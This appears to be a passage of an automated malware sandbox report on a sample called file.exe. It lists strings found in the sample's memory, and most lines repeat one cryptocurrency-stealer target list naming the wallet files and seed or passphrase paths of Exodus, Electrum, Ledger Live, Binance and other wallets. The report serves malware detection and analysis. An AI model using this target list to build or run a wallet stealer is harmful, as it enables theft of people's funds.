Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2612006536.0000000000B16000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2612006536.0000000000B16000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2612006536.0000000000B16000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2612006536.0000000000B16000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2612006536.0000000000B16000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2612006536.0000000000B16000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2612006536.0000000000B16000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2612006536.0000000000B16000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2613572766.0000000001212000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance\.finger-print.fpX
Source: file.exe, 00000000.00000002.2612006536.0000000000B16000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2612006536.0000000000B16000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2612006536.0000000000B16000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2612006536.0000000000B16000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2612006536.0000000000B16000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
